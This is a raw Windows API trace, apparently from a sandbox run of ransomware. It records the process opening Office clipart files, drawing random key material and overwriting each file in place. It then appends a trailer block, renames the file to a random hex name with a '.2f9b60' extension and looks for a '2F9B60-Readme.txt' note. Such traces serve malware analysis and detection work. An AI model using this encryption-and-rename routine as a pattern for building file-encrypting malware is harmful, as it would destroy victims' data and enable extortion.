GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 0x20 [0107.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF", dwFileAttributes=0x20) returned 1 [0108.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15a8 [0108.600] GetFileSizeEx (in: hFile=0x15a8, lpFileSize=0x2b1dfd00 | out: lpFileSize=0x2b1dfd00*=3344) returned 1 [0108.600] SetFilePointerEx (in: hFile=0x15a8, liDistanceToMove=0xd0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.600] ReadFile (in: hFile=0x15a8, lpBuffer=0x2b1dfc80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b1dfcc8, lpOverlapped=0x0 | out: lpBuffer=0x2b1dfc80*, lpNumberOfBytesRead=0x2b1dfcc8*=0x4, lpOverlapped=0x0) returned 1 [0108.609] SetFilePointerEx (in: hFile=0x15a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0108.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860420 [0108.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fee0 [0108.610] NtQuerySystemTime (in: CurrentTime=0x2b1dfbc0 | out: CurrentTime=0x2b1dfbc0*=132462177141058000) returned 0x0 [0108.610] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x3b5dba5c [0108.610] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x1e5e1f5c [0108.610] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x29499547 [0108.610] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x6a14bfb7 [0108.610] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x660d9c46 [0108.610] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x6d5a7a6 [0108.610] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x19e6f9cf [0108.610] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x5c7689ec [0108.610] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x417e5eb8 [0108.610] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x40e73aba [0108.610] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x3a2d85c9 [0108.610] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x4cac7924 [0108.610] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x4760369a [0108.610] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x3d0ffaa6 [0108.610] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0xe123c72 [0108.610] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x687358ea [0108.610] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x48fec0fc [0108.610] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x29277c41 [0108.610] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x15f79720 [0108.610] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x5c5d7433 [0108.611] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x747907f0 [0108.611] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x6d198106 [0108.611] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x27c8e04e [0108.611] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x19ef8b32 [0108.611] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x7ba76a62 [0108.611] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x71a6e6 [0108.611] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x7d18dc2b [0108.611] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x42b85da [0108.611] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x34c9955d [0108.611] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x34d8468f [0108.611] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x72e8bf85 [0108.611] RtlRandomEx (in: Seed=0x2b1dfbb0 | out: Seed=0x2b1dfbb0) returned 0x6bf9977d [0108.622] ReadFile (in: hFile=0x15a8, lpBuffer=0x41e71d40, nNumberOfBytesToRead=0xd10, lpNumberOfBytesRead=0x2b1dfbb0, lpOverlapped=0x0 | out: lpBuffer=0x41e71d40*, lpNumberOfBytesRead=0x2b1dfbb0*=0xd10, lpOverlapped=0x0) returned 1 [0108.622] SetFilePointerEx (in: hFile=0x15a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.622] WriteFile (in: hFile=0x15a8, lpBuffer=0x41e75950*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2b1dfbb4, lpOverlapped=0x0 | out: lpBuffer=0x41e75950*, lpNumberOfBytesWritten=0x2b1dfbb4*=0xd10, lpOverlapped=0x0) returned 1 [0108.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0108.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fee0 [0108.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fee0) returned 1 [0108.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e75950) returned 1 [0108.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e71d40) returned 1 [0108.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85fee0 [0108.626] SetFilePointerEx (in: hFile=0x15a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.626] WriteFile (in: hFile=0x15a8, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2b1dfcd0, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2b1dfcd0*=0x10a, lpOverlapped=0x0) returned 1 [0108.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0108.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867740 [0108.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861200 [0108.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861200) returned 1 [0108.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861200 [0108.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0108.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd90) returned 1 [0108.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.633] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="87") returned 2 [0108.633] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="99") returned 2 [0108.633] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="07") returned 2 [0108.633] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="f2") returned 2 [0108.633] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="53") returned 2 [0108.633] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="c1") returned 2 [0108.633] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="39") returned 2 [0108.633] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="e8") returned 2 [0108.633] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="bf") returned 2 [0108.634] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="f5") returned 2 [0108.634] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="2f") returned 2 [0108.634] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="d7") returned 2 [0108.634] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="1f") returned 2 [0108.634] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="76") returned 2 [0108.634] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="1b") returned 2 [0108.634] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="f1") returned 2 [0108.634] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="d8") returned 2 [0108.634] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="ee") returned 2 [0108.634] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="ce") returned 2 [0108.634] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="72") returned 2 [0108.634] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="8a") returned 2 [0108.634] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="5f") returned 2 [0108.634] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="de") returned 2 [0108.634] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="8b") returned 2 [0108.634] RtlInitAnsiString (in: DestinationString=0x2b1dfd48, SourceString="879907f253c139e8bff52fd71f761bf1d8eece728a5fde8b" | out: DestinationString="879907f253c139e8bff52fd71f761bf1d8eece728a5fde8b") [0108.634] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b1dfd18, SourceString="879907f253c139e8bff52fd71f761bf1d8eece728a5fde8b", AllocateDestinationString=1 | out: DestinationString="879907f253c139e8bff52fd71f761bf1d8eece728a5fde8b") returned 0x0 [0108.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9470 [0108.634] wcscat (in: _Dest=0x20500bd0, _Source="879907f253c1" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\879907f253c1") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\879907f253c1" [0108.634] wcscat (in: _Dest=0x20500bd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\879907f253c1.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\879907f253c1.2f9b60" [0108.634] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\879907f253c1.2f9b60", NtPathName=0x2b1dfcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\879907f253c1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x420605f0 [0108.635] NtSetInformationFile (FileHandle=0x15a8, IoStatusBlock=0x2b1dfd90, FileInformation=0x420605f0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420605f0) returned 1 [0109.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265230) returned 1 [0109.880] NtQueryInformationFile (in: FileHandle=0x15a8, IoStatusBlock=0x2b1dfd58, FileInformation=0x2b1dfd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b1dfd58, FileInformation=0x2b1dfd68) returned 0x0 [0109.880] NtSetInformationFile (FileHandle=0x15a8, IoStatusBlock=0x2b1dfd58, FileInformation=0x2b1dfd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500bd0) returned 1 [0109.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9470) returned 1 [0109.884] FlushFileBuffers (hFile=0x15a8) returned 1 [0109.895] CloseHandle (hObject=0x15a8) returned 1 [0109.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20500bd0 [0109.899] wcscpy (in: _Dest=0x20500bd0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.899] wcscat (in: _Dest=0x20500bd0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500bd0) returned 1 [0109.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4b020) returned 1 Thread: id = 677 os_tid = 0x1178 [0096.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 0x20 [0107.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF", dwFileAttributes=0x20) returned 1 [0108.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15b8 [0108.581] GetFileSizeEx (in: hFile=0x15b8, lpFileSize=0x2b3efa20 | out: lpFileSize=0x2b3efa20*=1596) returned 1 [0108.581] SetFilePointerEx (in: hFile=0x15b8, liDistanceToMove=0x638, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.581] ReadFile (in: hFile=0x15b8, lpBuffer=0x2b3ef9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b3ef9e8, lpOverlapped=0x0 | out: lpBuffer=0x2b3ef9a0*, lpNumberOfBytesRead=0x2b3ef9e8*=0x4, lpOverlapped=0x0) returned 1 [0108.585] SetFilePointerEx (in: hFile=0x15b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600f0 [0108.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff40 [0108.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8603f0 [0108.585] NtQuerySystemTime (in: CurrentTime=0x2b3ef8e0 | out: CurrentTime=0x2b3ef8e0*=132462177140746000) returned 0x0 [0108.585] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x70480588 [0108.585] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x4f7d70d3 [0108.585] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x1eb6e9eb [0108.585] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x122c98ff [0108.585] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x2dc26f32 [0108.585] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x651d56ca [0108.585] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x6069396 [0108.585] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x375c689a [0108.586] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x456c8c77 [0108.586] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x2d86e2af [0108.586] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x3860c1f8 [0108.586] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x20be3edf [0108.586] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x18a4e75 [0108.586] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0xa8a84d7 [0108.586] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x2f3f9e0f [0108.586] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x801948f [0108.586] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x7faa4d1e [0108.586] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x4e9418 [0108.586] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x5546393e [0108.586] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x598234f4 [0108.586] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x49b3a7a9 [0108.586] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x4c3399a8 [0108.586] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x46176a04 [0108.586] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x7cff1809 [0108.586] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0xd7c0135 [0108.586] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x1e56d838 [0108.586] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x48542e39 [0108.586] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x29fdb801 [0108.587] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x26683225 [0108.587] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x27c84d95 [0108.587] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x360ed12 [0108.587] RtlRandomEx (in: Seed=0x2b3ef8d0 | out: Seed=0x2b3ef8d0) returned 0x88d774e [0108.598] ReadFile (in: hFile=0x15b8, lpBuffer=0x41e71d40, nNumberOfBytesToRead=0x63c, lpNumberOfBytesRead=0x2b3ef8d0, lpOverlapped=0x0 | out: lpBuffer=0x41e71d40*, lpNumberOfBytesRead=0x2b3ef8d0*=0x63c, lpOverlapped=0x0) returned 1 [0108.598] SetFilePointerEx (in: hFile=0x15b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.598] WriteFile (in: hFile=0x15b8, lpBuffer=0x41e75950*, nNumberOfBytesToWrite=0x63c, lpNumberOfBytesWritten=0x2b3ef8d4, lpOverlapped=0x0 | out: lpBuffer=0x41e75950*, lpNumberOfBytesWritten=0x2b3ef8d4*=0x63c, lpOverlapped=0x0) returned 1 [0108.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860630 [0108.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860030 [0108.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860030) returned 1 [0108.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e75950) returned 1 [0108.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e71d40) returned 1 [0108.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.608] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860030 [0108.608] SetFilePointerEx (in: hFile=0x15b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0108.608] WriteFile (in: hFile=0x15b8, lpBuffer=0x167ca0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2b3ef9f0, lpOverlapped=0x0 | out: lpBuffer=0x167ca0*, lpNumberOfBytesWritten=0x2b3ef9f0*=0x10a, lpOverlapped=0x0) returned 1 [0108.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0108.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867740 [0108.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860270 [0108.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860270) returned 1 [0108.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0108.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860270 [0108.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860390 [0108.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860390) returned 1 [0108.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867740) returned 1 [0108.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0108.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.630] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="d2") returned 2 [0108.630] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="ca") returned 2 [0108.630] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="dc") returned 2 [0108.630] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="e0") returned 2 [0108.630] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="ed") returned 2 [0108.631] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="ab") returned 2 [0108.631] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="9d") returned 2 [0108.631] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="55") returned 2 [0108.631] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="e4") returned 2 [0108.631] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="7e") returned 2 [0108.631] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="dd") returned 2 [0108.631] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="62") returned 2 [0108.631] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="7d") returned 2 [0108.631] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="02") returned 2 [0108.631] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="dd") returned 2 [0108.631] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="53") returned 2 [0108.631] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="83") returned 2 [0108.631] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="e3") returned 2 [0108.631] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="59") returned 2 [0108.631] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="20") returned 2 [0108.631] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="c2") returned 2 [0108.631] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="d2") returned 2 [0108.631] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="95") returned 2 [0108.631] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="52") returned 2 [0108.631] RtlInitAnsiString (in: DestinationString=0x2b3efa68, SourceString="d2cadce0edab9d55e47edd627d02dd5383e35920c2d29552" | out: DestinationString="d2cadce0edab9d55e47edd627d02dd5383e35920c2d29552") [0108.631] RtlAnsiStringToUnicodeString (in: DestinationString=0x2b3efa38, SourceString="d2cadce0edab9d55e47edd627d02dd5383e35920c2d29552", AllocateDestinationString=1 | out: DestinationString="d2cadce0edab9d55e47edd627d02dd5383e35920c2d29552") returned 0x0 [0108.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9160 [0108.631] wcscat (in: _Dest=0x20500b30, _Source="d2cadce0edab" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d2cadce0edab") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d2cadce0edab" [0108.632] wcscat (in: _Dest=0x20500b30, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d2cadce0edab.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d2cadce0edab.2f9b60" [0108.632] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d2cadce0edab.2f9b60", NtPathName=0x2b3efa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\d2cadce0edab.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42060530 [0108.632] NtSetInformationFile (FileHandle=0x15b8, IoStatusBlock=0x2b3efab0, FileInformation=0x42060530, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060530) returned 1 